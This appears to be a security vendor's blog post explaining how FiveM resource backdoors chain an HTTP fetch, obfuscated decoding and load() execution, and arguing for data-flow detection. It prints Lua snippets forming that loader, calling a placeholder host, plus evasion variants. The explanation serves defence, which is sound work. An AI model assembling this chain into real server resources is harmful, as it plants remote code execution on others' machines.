Anatomy of a FiveM backdoor: fetch, decode, execute
Almost every malicious FiveM resource follows the same three-step shape. Here is what each step looks like in real Lua, and why a scanner that flags any one of them in isolation is useless.
3 min readFXScan
Most backdoors found in FiveM resources are not clever. They are the same three moves in a different order, wearing a different name each time:
- Fetch something from a server the resource owner does not control.
- Decode it, so the payload is not readable in the file.
- Execute the result.
Each step on its own is ordinary. Plenty of legitimate resources call
PerformHttpRequest. Plenty use Base64. load has real uses. It is the
chain that is the backdoor, and that distinction is the entire difficulty of
detecting one.
Step one: fetch
PerformHttpRequest("https://cdn.example.tld/u/config", function(status, body)
-- ...
end, "GET")
Nothing here is wrong. A resource that pulls a live currency table does exactly
this. What matters is where body goes next.
Step two: decode
local chunk = ""
for part in string.gmatch(body, "..") do
chunk = chunk .. string.char(tonumber(part, 16))
end
This is hex decoding written to avoid the word "decode". Variants use
string.char with arithmetic, XOR against a short key, or Base64 through a
hand-rolled alphabet table. The goal is the same: keep the payload out of the
file so a text search for os.execute finds nothing.
Step three: execute
local fn = load(chunk)
if fn then fn() end
Sometimes load is aliased first (local run = load), or reached through the
globals table (_G["load"]), or handed to a timer as a string. The alias does
not change what happens.
Why single-signal detection fails
A scanner that flags every PerformHttpRequest will flag hundreds of honest
resources and be switched off within a day. A scanner that only flags load
misses the case where load is aliased. Neither is measuring the thing that
makes the code malicious, which is that untrusted input reached an execution
sink.
FXScan parses the file into a syntax tree and follows the data. When the value
returned by an HTTP callback reaches load - directly, through a decoder,
through three intermediate locals, through an alias - that path is the finding,
and the report shows it as a chain with file, line and excerpt at each hop.
A lone PerformHttpRequest is not a finding. A lone load() is not a finding.
The proven path between them is a CRITICAL.
What this means when you are reviewing a resource by hand
If you are reading a resource yourself, the question to ask is not "does this
file contain anything dangerous". It is: can any value that came from outside
this machine end up as code? Follow the network callbacks and the event
handlers forward. Follow every load, loadstring, eval and
ExecuteCommand backward. If the two meet, you have found it.